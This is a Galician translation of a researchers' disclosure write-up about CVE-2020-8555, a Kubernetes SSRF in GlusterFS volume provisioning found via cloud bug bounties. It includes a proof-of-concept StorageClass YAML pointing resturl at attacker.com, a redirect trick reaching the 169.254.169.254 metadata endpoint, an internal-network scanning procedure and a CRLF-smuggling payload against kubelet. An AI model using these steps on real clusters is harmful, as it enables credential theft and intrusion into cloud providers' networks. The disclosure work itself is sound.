Cando non só se trata de vulnerabilidades de Kubernetes...

Nota. transl.: os autores deste artigo falan polo miúdo de como conseguiron descubrir a vulnerabilidade CVE-2020–8555 en Kubernetes. Aínda que inicialmente non parecía moi perigoso, en combinación con outros factores a súa criticidade resultou máxima para algúns provedores de nube. Varias organizacións premiaron xenerosamente os especialistas polo seu traballo.

Cando non só se trata de vulnerabilidades de Kubernetes...

Quen somos

Somos dous investigadores franceses de seguridade que descubrimos conxuntamente unha vulnerabilidade en Kubernetes. Os nosos nomes son Brice Augras e Christophe Hauquiert, pero en moitas plataformas de Bug Bounty coñécennos como Reeverzax e Hach respectivamente:

Que pasou?

Este artigo é a nosa forma de compartir como un proxecto de investigación común converteuse inesperadamente na aventura máis emocionante da vida dos cazadores de erros (polo menos por agora).

Como probablemente sabes, os cazadores de erros teñen un par de características notables:

  • viven da pizza e da cervexa;
  • traballan cando todos os demais están durmidos.

Non somos unha excepción a estas regras: adoitamos reunirnos os fins de semana e pasamos noites sen durmir pirateando. Pero unha destas noites rematou dun xeito moi inusual.

Inicialmente íamonos reunir para falar da participación CTF o día seguinte. Durante unha conversa sobre a seguridade de Kubernetes nun ambiente de servizos xestionados, lembramos a vella idea de SSRF (Falsificación de solicitudes do lado do servidor) e decidiu probalo como un script de ataque.

Ás 11 horas sentámonos a facer a nosa investigación e deitámonos cedo pola mañá, moi satisfeitos cos resultados. Foi debido a esta investigación que nos atopamos co programa MSRC Bug Bounty e atopamos un exploit de escalada de privilexios.

Pasaron varias semanas/meses e o noso resultado inesperado resultou nunha das recompensas máis altas da historia do Azure Cloud Bug Bounty, ademais da que recibimos de Kubernetes.

Baseándose no noso proxecto de investigación, publicou o Comité de Seguridade do Produto de Kubernetes CVE-2020–8555.

Agora gustaríame difundir o máximo posible información sobre a vulnerabilidade atopada. Esperamos que aprecies o descubrimento e que compartas os detalles técnicos con outros membros da comunidade infosec.

Entón, aquí está a nosa historia...

Contexto

Para dar o máximo sentido ao que pasou, vexamos primeiro como funciona Kubernetes nun ambiente xestionado na nube.

Cando crea unha instancia dun clúster de Kubernetes nun ambiente deste tipo, a capa de xestión adoita ser responsabilidade do provedor de nube:

Cando non só se trata de vulnerabilidades de Kubernetes...
A capa de control está situada no perímetro do provedor de nube, mentres que os nodos de Kubernetes están situados no perímetro do cliente.

Para asignar volumes de forma dinámica, utilízase un mecanismo para aprovisionalos de forma dinámica desde un backend de almacenamento externo e comparalos con PVC (reclamación de volume persistente, é dicir, unha solicitude de volume).

Así, despois de que o PVC se crea e se ligue á StorageClass no clúster K8s, o xestor do controlador kube/cloud asume máis accións para proporcionar o volume (o seu nome exacto depende da versión). (Nota. transl.: Xa escribimos máis sobre CCM usando o exemplo da súa implementación para un dos provedores de nube aquí.)

Hai varios tipos de provedores compatibles con Kubernetes: a maioría deles están incluídos núcleo do orquestrador, mentres que outros son xestionados por provedores adicionais que se colocan en pods do clúster.

Na nosa investigación, centrámonos no mecanismo de aprovisionamento de volume interno, que se ilustra a continuación:

Cando non só se trata de vulnerabilidades de Kubernetes...
Aprovisionamento dinámico de volumes mediante o aprovisionador integrado de Kubernetes

En resumo, cando Kubernetes se desprega nun ambiente xestionado, o xestor do controlador é responsabilidade do provedor de nube, pero a solicitude de creación de volume (número 3 no diagrama anterior) abandona a rede interna do provedor de nube. E aquí é onde as cousas se fan realmente interesantes!

Escenario de hackeo

Nesta sección, explicaremos como aproveitamos o fluxo de traballo mencionado anteriormente e accedemos aos recursos internos do provedor de servizos na nube. Tamén che mostrará como podes realizar determinadas accións, como obter credenciais internas ou aumentar os privilexios.

Unha simple manipulación (neste caso, Service Side Request Forgery) axudou a ir máis aló do contorno do cliente en clústeres de varios provedores de servizos baixo os K8 xestionados.

Na nosa investigación centrámonos no provedor GlusterFS. A pesar de que a secuencia de accións adicional se describe neste contexto, Quobyte, StorageOS e ScaleIO son susceptibles á mesma vulnerabilidade.

Cando non só se trata de vulnerabilidades de Kubernetes...
Abuso do mecanismo de provisión de volume dinámico

Durante a análise da clase de almacenamento GlusterFS no código fonte do cliente Golang nós notouque na primeira solicitude HTTP (3) enviada durante a creación do volume, ata o final do URL personalizado no parámetro resturl engadido /volumes.

Decidimos desfacernos deste camiño adicional engadindo # en parámetro resturl. Aquí está a primeira configuración YAML que usamos para probar unha vulnerabilidade SSRF semi-cega (podes ler máis sobre SSRF semi-cegos ou semi-cegos, por exemplo, aquí - aprox. transl.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Despois usamos o binario para xestionar de forma remota o clúster de Kubernetes kubectl. Normalmente, os provedores de nube (Azure, Google, AWS, etc.) permítenche obter credenciais para usar nesta utilidade.

Grazas a isto, puiden usar o meu ficheiro "especial". Kube-controller-manager executou a solicitude HTTP resultante:

kubectl create -f sc-poc.yaml

Cando non só se trata de vulnerabilidades de Kubernetes...
A resposta dende o punto de vista do atacante

Pouco despois disto, tamén puidemos recibir unha resposta HTTP do servidor de destino, a través dos comandos describe pvc ou get events en kubectl. E de feito: este controlador predeterminado de Kubernetes é demasiado detallado nas súas mensaxes de advertencia/erro...

Aquí tes un exemplo cunha ligazón a https://www.google.frestablecer como parámetro resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Cando non só se trata de vulnerabilidades de Kubernetes...

Neste enfoque, limitámonos a consultas como POST HTTP e non puido obter o contido do corpo da resposta se o código de retorno era 201. Polo tanto, decidimos realizar investigacións adicionais e ampliamos este escenario de hacking con novos enfoques.

A evolución da nosa investigación

  • Escenario avanzado n.º 1: usar unha redirección 302 desde un servidor externo para cambiar o método HTTP para ofrecer unha forma máis flexible de recoller datos internos.
  • Escenario avanzado n.º 2: automatiza a exploración da LAN e o descubrimento de recursos internos.
  • Escenario avanzado n.º 3: usar HTTP CRLF + contrabando ("contrabando de solicitudes") para crear solicitudes HTTP a medida e recuperar datos extraídos dos rexistros do controlador kube.

Especificacións técnicas

  • A investigación utilizou Azure Kubernetes Service (AKS) coa versión 1.12 de Kubernetes na rexión norte de Europa.
  • Os escenarios descritos anteriormente executáronse nas últimas versións de Kubernetes, coa excepción do terceiro escenario, porque necesitaba Kubernetes construído coa versión Golang ≤ 1.12.
  • Servidor externo do atacante - https://attacker.com.

Escenario avanzado n.º 1: redirixir unha solicitude HTTP POST a GET e recibir datos confidenciais

O método orixinal foi mellorado pola configuración do servidor do atacante para volver 302 HTTP Retcodepara converter unha solicitude POST nunha solicitude GET (paso 4 do diagrama):

Cando non só se trata de vulnerabilidades de Kubernetes...

Primeira solicitude (3) procedente do cliente GlusterFS (Xestor de controladores), ten un tipo POST. Seguindo estes pasos puidemos convertelo nun GET:

  • Como parámetro resturl en StorageClass indícase http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php responde cun código de estado HTTP 302 coa seguinte cabeceira de localización: http://169.254.169.254. Este pode ser calquera outro recurso interno; neste caso, a ligazón de redirección úsase unicamente como exemplo.
  • Por defecto biblioteca net/http Golang redirixe a solicitude e converte o POST nun GET cun código de estado 302, o que resulta nunha solicitude HTTP GET para o recurso de destino.

Para ler o corpo da resposta HTTP, cómpre facer describe Obxecto de PVC:

kubectl describe pvc xxx

Aquí tes un exemplo dunha resposta HTTP en formato JSON que puidemos recibir:

Cando non só se trata de vulnerabilidades de Kubernetes...

As capacidades da vulnerabilidade atopada nese momento estaban limitadas debido aos seguintes puntos:

  • Non se poden inserir cabeceiras HTTP na solicitude de saída.
  • Incapacidade para realizar unha solicitude POST con parámetros no corpo (isto é conveniente para solicitar o valor da clave dunha instancia etcd en execución. 2379 porto se se usa HTTP sen cifrar).
  • Non se puido recuperar o contido do corpo da resposta cando o código de estado era 200 e a resposta non tiña un tipo de contido JSON.

Escenario avanzado #2: dixitalización da rede local

Este método SSRF medio cego utilizouse entón para escanear a rede interna do provedor de nube e enquisar varios servizos de escoita (instancia de metadatos, Kubelet, etcd, etc.) en función das respostas. controlador kube.

Cando non só se trata de vulnerabilidades de Kubernetes...

En primeiro lugar, determináronse os portos de escoita estándar dos compoñentes de Kubernetes (8443, 10250, 10251, etc.) e despois tivemos que automatizar o proceso de dixitalización.

Ao ver que este método de dixitalización de recursos é moi específico e non é compatible cos escáneres clásicos e coas ferramentas SSRF, decidimos crear os nosos propios traballadores nun script bash que automatice todo o proceso.

Por exemplo, para escanear rapidamente o rango 172.16.0.0/12 da rede interna, lanzáronse 15 traballadores en paralelo. O intervalo de IP anterior seleccionouse só como exemplo e pode estar suxeito a cambios no intervalo de IP do teu fornecedor de servizos específico.

Para escanear un enderezo IP e un porto, cómpre facer o seguinte:

  • eliminar a última StorageClass marcada;
  • eliminar a reclamación de volume persistente verificada anterior;
  • cambiar os valores IP e Porto en sc.yaml;
  • crear unha StorageClass cunha IP e un porto novos;
  • crear un novo PVC;
  • extraer os resultados da exploración usando describe para PVC.

Escenario avanzado #3: inxección de CRLF + contrabando de HTTP en versións "vellas" do clúster de Kubernetes

Se ademais disto o provedor ofrecía aos clientes versións antigas do clúster K8s и deulles acceso aos rexistros de kube-controller-manager, o efecto fíxose aínda máis significativo.

De feito, é moito máis conveniente para un atacante cambiar as solicitudes HTTP deseñadas para obter unha resposta HTTP completa ao seu criterio.

Cando non só se trata de vulnerabilidades de Kubernetes...

Para implementar o último escenario, debían cumprirse as seguintes condicións:

  • O usuario debe ter acceso aos rexistros de kube-controller-manager (como, por exemplo, en Azure LogInsights).
  • O clúster de Kubernetes debe utilizar unha versión de Golang inferior á 1.12.

Desplegamos un ambiente local que simulaba a comunicación entre o cliente GlusterFS Go e un servidor de destino falso (absterémonos de publicar o PoC polo momento).

Atopouse vulnerabilidade, que afecta ás versións de Golang inferiores á 1.12 e permite aos hackers realizar ataques de contrabando HTTP/CRLF.

Ao combinar o SSRF semi-cego descrito anteriormente вместе con isto, puidemos enviar solicitudes ao noso gusto, incluíndo a substitución de cabeceiras, método HTTP, parámetros e datos, que despois procesaba kube-controller-manager.

Aquí tes un exemplo dun "cebo" que funciona nun parámetro resturl StorageClass, que implementa un escenario de ataque similar:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

O resultado é un erro resposta non solicitada, unha mensaxe sobre a que se rexistra nos rexistros do controlador. Grazas á verbosidade activada por defecto, o contido da mensaxe de resposta HTTP tamén se garda alí.

Cando non só se trata de vulnerabilidades de Kubernetes...

Este foi o noso "cebo" máis eficaz no marco da proba de concepto.

Usando este enfoque, puidemos levar a cabo algúns dos seguintes ataques a clústeres de varios provedores de k8s xestionados: escalada de privilexios con credenciais en instancias de metadatos, DoS mestre a través de solicitudes HTTP (sen cifrar) en instancias mestras etcd, etc.

Resultado

Na declaración oficial de Kubernetes sobre a vulnerabilidade SSRF que descubrimos, calificouse CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Se consideramos só a vulnerabilidade asociada ao perímetro de Kubernetes, o vector de integridade (vector de integridade) cualifica como ningún.

Non obstante, avaliar as posibles consecuencias no contexto dun contorno de servizos xestionados (e esta foi a parte máis interesante da nosa investigación!) levounos a reclasificar a vulnerabilidade nunha clasificación. Crítico CVSS10/10 para moitos distribuidores.

A continuación móstranse información adicional para axudarche a comprender as nosas consideracións ao avaliar os posibles impactos nos contornos de nube:

Integridade

  • Executar comandos de forma remota utilizando as credenciais internas adquiridas.
  • Reproducir o escenario anterior mediante o método IDOR (Referencia de obxectos directos inseguros) con outros recursos atopados na rede local.

Confidencialidade

  • Tipo de ataque Movemento lateral grazas ao roubo de credenciais na nube (por exemplo, a API de metadatos).
  • Recollendo información escaneando a rede local (determinando a versión SSH, a versión do servidor HTTP,...).
  • Recopila información de instancias e infraestruturas consultando as API internas como a API de metadatos (http://169.254.169.254, ...).
  • Roubar datos de clientes usando credenciais da nube.

Dispoñibilidade

Todos os escenarios de explotación relacionados con vectores de ataque activados integridade, pódese usar para accións destrutivas e levar a que as instancias mestres do perímetro do cliente (ou calquera outra) non estean dispoñibles.

Dado que estabamos nun ambiente de K8s xestionado e avaliando o impacto na integridade, podemos imaxinar moitos escenarios que poderían afectar á dispoñibilidade. Outros exemplos inclúen corromper a base de datos etcd ou facer unha chamada crítica á API de Kubernetes.

Cronoloxía

  • 6 de decembro de 2019: Informe de vulnerabilidade a MSRC Bug Bounty.
  • 3 de xaneiro de 2020: un terceiro informou aos desenvolvedores de Kubernetes de que estabamos traballando nun problema de seguridade. E pediulles que considerasen a SSRF como unha vulnerabilidade interna (no núcleo). A continuación, proporcionamos un informe xeral con detalles técnicos sobre a orixe do problema.
  • 15 de xaneiro de 2020: proporcionamos informes técnicos e xerais aos desenvolvedores de Kubernetes a petición deste (a través da plataforma HackerOne).
  • 15 de xaneiro de 2020: os desenvolvedores de Kubernetes notificáronnos que a inxección semi-cega de SSRF + CRLF para versións anteriores considérase unha vulnerabilidade no núcleo. Inmediatamente deixamos de analizar os perímetros doutros provedores de servizos: o equipo K8s estaba agora a tratar coa causa raíz.
  • 15 de xaneiro de 2020: recompensa MSRC recibida a través de HackerOne.
  • 16 de xaneiro de 2020: Kubernetes PSC (Comité de Seguridade do Produto) recoñeceu a vulnerabilidade e pediu mantela en segredo ata mediados de marzo debido ao gran número de posibles vítimas.
  • 11 de febreiro de 2020: recibiuse a recompensa de Google VRP.
  • 4 de marzo de 2020: recompensa Kubernetes recibida a través de HackerOne.
  • 15 de marzo de 2020: aprazouse a divulgación pública inicialmente programada debido á situación da COVID-19.
  • 1 de xuño de 2020: declaración conxunta de Kubernetes e Microsoft sobre a vulnerabilidade.

TL, RD

  • Bebemos cervexa e comemos pizza :)
  • Descubrimos unha vulnerabilidade no núcleo en Kubernetes, aínda que non tiñamos intención de facelo.
  • Realizamos análises adicionais en clusters de diferentes provedores de nube e puidemos aumentar o dano causado pola vulnerabilidade para recibir bonos incribles adicionais.
  • Neste artigo atoparás moitos detalles técnicos. Estaremos encantados de comentalos contigo (Twitter: @ReeverZax & @__hach_).
  • Resultou que todo tipo de trámites e informes levaron moito máis tempo do esperado.

referencias

PS do tradutor

Lea tamén no noso blog:

Fonte: www.habr.com

Engadir un comentario